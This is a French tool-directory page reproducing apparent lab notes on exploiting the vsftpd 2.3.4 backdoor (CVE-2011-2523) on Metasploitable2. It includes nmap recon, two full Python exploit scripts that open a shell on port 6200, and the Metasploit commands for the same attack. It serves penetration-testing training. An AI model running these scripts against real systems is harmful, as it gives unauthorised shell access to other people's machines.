Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2011-2523 — Guide d'exploitation manuelle et automatisée pour la backdoor vsftpd 2.3.4 (CVE-2011-2523) avec payload reverse shell personnalisé et intégration Metasploit pour la formation en test de pénétration. | Kitploit
Outils/GitHubGitHub/hklabcr/cve-2011-2523
Frameworks d'ExploitationAnalyse des VulnérabilitésExploitationCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubhklabcr/cve-2011-2523

CVE-2011-2523

Guide d'exploitation manuelle et automatisée pour la backdoor vsftpd 2.3.4 (CVE-2011-2523) avec payload reverse shell personnalisé et intégration Metasploit pour la formation en test de pénétration.

Voir le dépôt
3il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2011-2523

Ce sont des notes pour la création de la méthodologie d'attaque dans un environnement contrôlé. On part du principe que l'exercice est en boîte noire, donc je ne connais pas d'informations sur le système victime.

1- télécharger les ISO nécessaires, à la fois metaexplotable2 et kali ou tout autre
2- important, l'environnement est configuré avec vmware, donc les deux machines doivent être exécutées dans cet hyperviseur
3- le processus initial consiste à obtenir une ip pour vérifier qu'il existe une connexion entre les deux points
4- utiliser nmap sV Pn 192.168.253.128 une fois que nous avons effectué la reconnaissance, nous trouvons plusieurs ports
21 ftp vsftpd 2.3.4

Dans le cadre de l'entraînement, on vise à attaquer chaque port pour obtenir un accès de multiples façons. Nous commençons avec le port suivant.
On essaiera de réaliser une situation de boîte noire afin de pouvoir résoudre ou simuler des conditions réelles autant que possible.

Exploitation du port 21 FTP

On commence par l'utilisation de nmap -Pn -sV 10.0.2.5
nous cherchons dans les bases de données publiques et nous trouvons CVE-2011-2523 qui est un backdoor et nous allons essayer de l'exploiter pour accéder à la machine victime.

il faut d'abord comprendre qu'il existe un backdoor dans l'exploitation qui sera réalisée dans ce cas particulier.
en essayant de trouver comment vulnérabiliser ce système via la vulnérabilité existante, on trouve des informations sur packetstorm.news. Un POC est présenté qui prouve qu'on peut l'exploiter mais il n'est pas entièrement fonctionnel comme on peut le voir dans le code suivant :

Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution

Date: 9-04-2021

Exploit Author: HerculesRD

Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html

Version: vsftpd 2.3.4

Tested on: debian

CVE : CVE-2011-2523

#!/usr/bin/python3

from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit

def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str) args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)" password="PASS pass"

tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200) print('Success, shell opened') print('Send exit to quit shell') tn2.interact()

Ce qui, en lisant le code, permet de comprendre qu'il s'agit de prouver que c'est possible, mais pas d'en faire un script fonctionnel. C'est pourquoi, pour des pratiques plus réalistes, j'ai apporté une modification substantielle pour qu'il dispose d'un shell inversé permettant un accès plus adéquat dès l'exécution du code. La modification du code a conduit au résultat suivant :

#!/usr/bin/env python3

import socket import sys import time

def connect_ftp(host, port=21): try: s = socket.socket() s.connect((host, port)) banner = s.recv(1024).decode(errors='ignore') print(f"[+] FTP Banner: {banner.strip()}")

root@kitploit:~
    # Enviar payload del backdoor
    s.sendall(b'USER backdoor:)\r\n')
    time.sleep(0.5)
    s.sendall(b'PASS whatever\r\n')
    time.sleep(0.5)
    s.close()

    return True
except Exception as e:
    print(f"[!] Error conectando al FTP: {e}")
    return False

def connect_backdoor_shell(host, port=6200): try: print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...") shell = socket.socket() shell.settimeout(3) shell.connect((host, port)) print("[+] ¡Shell obtenida!")

root@kitploit:~
    while True:
        cmd = input("shell> ")
        if cmd.strip().lower() == "exit":
            break
        shell.sendall((cmd + "\n").encode())
        # Lee todos los datos disponibles hasta timeout
        output = b""
        while True:
            try:
                chunk = shell.recv(4096)
                if not chunk:
                    break
                output += chunk
                # Espera un poco para ver si hay más datos
                time.sleep(0.1)
            except socket.timeout:
                break
        if output:
            print(output.decode(errors='ignore'))
        else:
            print("[!] Sin respuesta del shell.")

    shell.close()

except Exception as e:
    print(f"[!] Falló al conectar con la shell: {e}")

if name == "main": if len(sys.argv) != 2: print(f"Uso: {sys.argv[0]} ") sys.exit(1)

root@kitploit:~
target_ip = sys.argv[1]
if connect_ftp(target_ip):
    time.sleep(1)  # Da tiempo al backdoor para abrir el puerto
    connect_backdoor_shell(target_ip)
else:
    print("[!] No se pudo conectar o el objetivo no parece vulnerable.")

Par conséquent, on peut comprendre que cela peut être une manière manuelle alambiquée d'aborder cet exemple, mais il s'agit de créer diverses options pour pouvoir grandir dans le milieu de la sécurité informatique et améliorer ses compétences.

L'autre méthode que l'on peut utiliser est d'employer metasploit de la manière suivante

msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.5 run

comme on le comprend, les deux font exactement la même chose, seulement l'un est déjà automatisé et l'autre est un processus plus manuel.

Télécharger l’outil